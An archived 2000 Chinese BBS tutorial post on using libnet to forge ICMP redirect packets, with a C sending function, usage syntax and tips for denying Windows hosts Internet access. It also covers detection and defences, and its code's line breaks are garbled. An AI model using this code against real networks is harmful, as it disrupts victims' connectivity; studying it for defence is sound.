📄 531.htm
字号:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>CTerm非常精华下载</title>
</head>
<body bgcolor="#FFFFFF">
<table border="0" width="100%" cellspacing="0" cellpadding="0" height="577">
<tr><td width="32%" rowspan="3" height="123"><img src="DDl_back.jpg" width="300" height="129" alt="DDl_back.jpg"></td><td width="30%" background="DDl_back2.jpg" height="35"><p align="center"><a href="http://apue.dhs.org"><font face="黑体"><big><big>apue</big></big></font></a></td></tr>
<tr>
<td width="68%" background="DDl_back2.jpg" height="44"><big><big><font face="黑体"><p align="center"> ● UNIX网络编程 (BM: clown) </font></big></big></td></tr>
<tr>
<td width="68%" height="44" bgcolor="#000000"><font face="黑体"><big><big><p align="center"></big></big><a href="http://cterm.163.net"><img src="banner.gif" width="400" height="60" alt="banner.gif"border="0"></a></font></td>
</tr>
<tr><td width="100%" colspan="2" height="100" align="center" valign="top"><br><p align="center">[<a href="index.htm">回到开始</a>][<a href="519.htm">上一层</a>][<a href="532.htm">下一篇</a>]
<hr><p align="left"><small>发信人: scz (小四), 信区: Security <br>
标 题: libnet使用举例(6) <br>
发信站: 武汉白云黄鹤站 (Mon Jul 31 18:02:37 2000), 站内信件 <br>
日期:2000-07-31 15:01 <br>
本篇写libnet程序完成ICMP重定向测试,还是先来看看相关函数: <br>
int libnet_build_icmp_redirect ( <br>
u_char type, u_char code, u_long gateway, u_short orig_len, <br>
u_char orig_tos, u_short orig_id, u_short orig_frag, <br>
u_char orig_ttl, u_char orig_prot, u_long orig_src, <br>
u_long orig_dst, const u_char * orig_payload, <br>
int orig_payload_s, u_char * buf ); <br>
在/usr/include/libnet/libnet-headers.h中有如下宏定义: <br>
#define ICMP_REDIRECT 5 <br>
第一个形参type只能设置该值。第二个形参理论上可以设置四种值,对于DoS攻击来 <br>
说,实际只能设置成ICMP_UNREACH_HOST(1),遗憾的是宏的名字牛头不对马嘴,这与 <br>
目标主机是否可达毫无干系,实际意思是只做特定主机路由重定向,网络路由重定向 <br>
已被废弃。gateway指定将来要使用的特定主机路由IP,比如<<libnet使用举例(5)>> <br>
中提到的192.168.8.90,它将出现在192.168.10.60的路由表中,很奇怪这里使用 <br>
little-endian序,而非常用的big-endian序,不排除实现中编程疏漏的可能;对于 <br>
i386/Linux来说,就是主机字节序,编程时注意转换。 <br>
orig_len设置成0,事实上据我实验观察,该值根本未被 <br>
libnet_build_icmp_redirect()使用,所以后来我设置该形参为0;产生的位于ICMP <br>
数据区的IP头固定20字节,头部总长度域固定为20字节,意思是没有任何负载,这个 <br>
函数原型有误导嫌疑。orig_tos设置成0,orig_id用随机数设置,orig_frag设置成0, <br>
<br>
orig_ttl设置成255,orig_prot设置成IPPROTO_ICMP(1),orig_src用big-endian序 <br>
设置成"攻击目标"IP,比如<<libnet使用举例(5)>>中提到的192.168.10.60, <br>
orig_dst用big-endian序设置成欲干扰的"服务目标"IP,比如 <br>
<<libnet使用举例(5)>>中提到的202.99.11.161,将来产生的特定主机路由就是针对 <br>
该IP寻路而言的。orig_payload设置成NULL,orig_payload_s设置成0。形参buf需要 <br>
指向一个已分配好的数据区,ICMP头从该指针开始。 <br>
其实从orig_len开始的参数如何设置具有很大灵活性,我是从编程简便角度考虑采用 <br>
如上设置,你完全可以不用这些数据,但你必须明确理解你所指定参数的意义,最好 <br>
用NetXray抓取你程序所发送出来的报文,检查一下decode部分。 <br>
涉及到两个校验和的计算。libnet_do_checksum()继续用于计算ICMP报文校验和,这 <br>
个是必须的。另外就是计算位于ICMP数据区的IP头部校验和,如果不计算,将来对应 <br>
校验和域为"无校验和",尽管不为错,同样有效,但感觉不爽,反正我是计算了,同 <br>
样是调用: <br>
Libnet_do_checksum( packet + LIBNET_IP_H + LIBNET_ICMP_REDIRECT_H, <br>
IPPROTO_IP, LIBNET_IP_H ); <br>
该函数会自行设置位于ICMP数据区的IP校验和域。 <br>
从上篇的分析中看出,如果要在广域网上发起ICMP重定向攻击,至少需要知道牺牲者 <br>
IP、牺牲者到被干扰服务目标IP的当前路由IP(遵循选路规则),子网掩码(便于伪造 <br>
新的路由IP)。一般来说,牺牲者IP不用多说什么,可后面这个当前路由IP比较难以 <br>
获得,子网掩码一般可以考虑C类网甚至更小。如何获得有效数据,仁者见仁智者见 <br>
智。考虑配合traceroute命令。 <br>
命令行上指定伪造的源IP(不可随机化,必须是当前路由)、攻击目标IP、服务目标IP <br>
起始值(可随机化)、服务目标IP个数、伪造的路由IP(不可随机化,必须是直接路由)、 <br>
<br>
ICMP重定向报文个数。此次没有端口概念介入,不再允许指定目标IP范围,只能指定 <br>
单个目标IP,从实际使用角度考虑的结果。 <br>
如何察觉、防范ICMP重定向攻击呢?查看路由表最直接。netstat -s还可以察觉那些 <br>
未能奏效的ICMP重定向攻击,因为重定向统计量暴涨,该值一般都是很小很小的。协 <br>
议分析软件、IDS等等都很容易发觉这种攻击企图。利用防火墙限制ICMP重定向报文。 <br>
修改本机系统,根据具体情况屏蔽ICMP重定向报文。 <br>
对于Pwin98,袁哥提供了一个很简单的修改VIP.386的办法,用ultraedit搜索 <br>
83 F9 11 77 08,修改成83 F9 00 75 08,意思就是如果接收到的ICMP包不是 <br>
icmp echo reply就跳转到错误处理。今天拿自己测试的时候,忘记早就修改过 <br>
VIP.386,还以为是程序发出来的包有问题而未能奏效。 <br>
-------------------------------------------------------------------------- <br>
void irdSend ( u_long srcIp, u_long dstIp, u_long svrIp, u_long routeIp, u_l <br>
ong <br>
irdNumber ) <br>
{ <br>
u_long i; <br>
/* 构造IP头 */ <br>
libnet_build_ip( LIBNET_ICMP_REDIRECT_H + LIBNET_IP_H + SCZIRDDATALEN, <br>
/* I <br>
P数据区长度 */ <br>
IPTOS_LOWDELAY, <br>
/* I <br>
P tos */ <br>
( u_short )random(), <br>
/* I <br>
P ID */ <br>
0, <br>
/* f <br>
rag stuff */ <br>
255, <br>
/* T <br>
TL */ <br>
IPPROTO_ICMP, <br>
/* <br>
上 协议 */ <br>
srcIp, <br>
/* b <br>
ig-endian序 */ <br>
dstIp, <br>
/* <br>
/* <br>
目标IP */ <br>
NULL, <br>
/* <br>
选项 */ <br>
0, <br>
/* <br>
项长度零 */ <br>
packet ); <br>
/* <br>
指向IP头 */ <br>
/* 构造ICMP重定向报文头 */ <br>
libnet_build_icmp_redirect( ICMP_REDIRECT, /* type */ <br>
ICMP_UNREACH_HOST, /* code */ <br>
// 这里采用little-endian序,很奇怪,不会是实 <br>
现疏 <br>
漏吧 <br>
// 对于i386/Linux,就是主机字节序 <br>
ntohl( routeIp ), /* 伪造的路由IP */ <br>
0, /* 该值任意 */ <br>
0, /* orig_tos */ <br>
( u_short )random(), /* IP ID */ <br>
0, /* orig_frag */ <br>
255, /* orig_ttl */ <br>
IPPROTO_ICMP, /* 上层协议类型 */ <br>
dstIp, /* 注意理解这里 */ <br>
svrIp, /* 被干扰目标 */ <br>
NULL, /* orig_payload */ <br>
0, /* 无选项 */ <br>
packet + LIBNET_IP_H ); /* 指向ICMP报头 */ <br>
// 计算位于ICMP数据区的IP头部校验和,如果不计算,将来对应校验和域为"无校 <br>
验和 <br>
" <br>
// 尽管不为错,同样有效,但感觉不爽,反正我是计算了 <br>
Libnet_do_checksum( packet + LIBNET_IP_H + LIBNET_ICMP_REDIRECT_H, <br>
IPPROTO_IP, LIBNET_IP_H ); <br>
// 这里必须意识到,计算ICMP重定向报文校验和应该发生在整个ICMP报文构造完毕 <br>
之 <br>
后 <br>
// 我们目的特殊,部分数据提前构造完毕了 <br>
/* 计算ICMP重定向报文校验和,IP校验和由内核亲自计算 */ <br>
Libnet_do_checksum( packet, IPPROTO_ICMP, <br>
LIBNET_ICMP_REDIRECT_H + LIBNET_IP_H + SCZIRDDATALEN <br>
); <br>
for ( i = 0; i < irdNumber; i++ ) <br>
{ <br>
/* 发送ICMP重定向报文 */ <br>
Libnet_write_ip( rawSocket, packet, packet_size ); <br>
} /* end of for */ <br>
return; <br>
} /* end of irdSend */ <br>
-------------------------------------------------------------------------- <br>
Usage: ./ir [--si srcIp] [--di dstIp] [--svr svrIp] <br>
[--svrNum svrNumber] [--routeIp routeIp] [--num irdNumber] <br>
选择routeIp的时候有学问。既然是DoS,尽量不要选择那些活动IP,如果只能选择活 <br>
动IP也要避免该IP具有IP Forward能力,否则有可能引发一个合法的ICMP重定向包进 <br>
行修正。 <br>
如果牺牲者是98,就用其自身IP作为routeIp,删不掉,但影响选路、占用内存、消 <br>
耗路由表搜索时间。目前尚未发现冻僵现象,可以实际打掉其访问Internet的能力, <br>
重启动后恢复正常。 <br>
对于2K,只能将routeIp设置成一个非活动同子网IP,无法设置成自身,目前尚未发 <br>
现冻僵现象,可以实际打掉其访问Internet的能力, <br>
route -f add 0.0.0.0 mask 0.0.0.0 192.168.0.1 <br>
后恢复正常,但是在刷新过程中CPU占用率高达100%。 <br>
SPARC/Solaris 2.6/2.7和i386/Linux,根本就没有受ICMP重定向包的任何影响。这 <br>
样说也不正确,做如下实验: <br>
route change default 192.168.8.90 <br>
ping -v 203.207.119.8 <br>
netstat -nr <br>
------------------------------------------------------------ <br>
203.207.119.8 192.168.0.1 UGHD 0 0 <-- 有效 <br>
default 192.168.8.90 UG 0 98 <br>
------------------------------------------------------------ <br>
route delete host 203.207.119.8 192.168.0.1 <br>
ndd /dev/ip \? <br>
ndd -get /dev/ip ip_ignore_redirect <br>
ndd -set /dev/ip ip_ignore_redirect 1 <br>
ping -v 203.207.119.8 <br>
netstat -nr <br>
对比前后效果。Solaris应该做了更严格的判断,在8.90上用NetXray捕获98路由功能 <br>
自动发送的有效ICMP重定向报文,然后立即在10.7上删除刚刚增加上来的特定主机路 <br>
由,用NetXray重新发送重定向报文已经无效。这个判断规则是什么,尚不清楚。 <br>
对于Linux做如下实验: <br>
route del -net 0.0.0.0 gw 192.168.0.1 <br>
route add -net 0.0.0.0 gw 192.168.8.90 <br>
ping -v 203.207.119.8 <br>
netstat -nr <br>
Linux似乎比Solaris更酷,干脆就不遵守RFC,对ICMP重定向报文一概不理。 <br>
<待续> <br>
-- <br>
也许有一天,他再从海上蓬蓬的雨点中升起, <br>
飞向西来,再形成一道江流,再冲倒两旁的石壁, <br>
再来寻夹岸的桃花。然而,我不敢说来生,也不敢信来生...... <br>
</small><hr>
<p align="center">[<a href="index.htm">回到开始</a>][<a href="519.htm">上一层</a>][<a href="532.htm">下一篇</a>]
<p align="center"><a href="http://cterm.163.net">欢迎访问Cterm主页</a></p>
</table>
</body>
</html>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -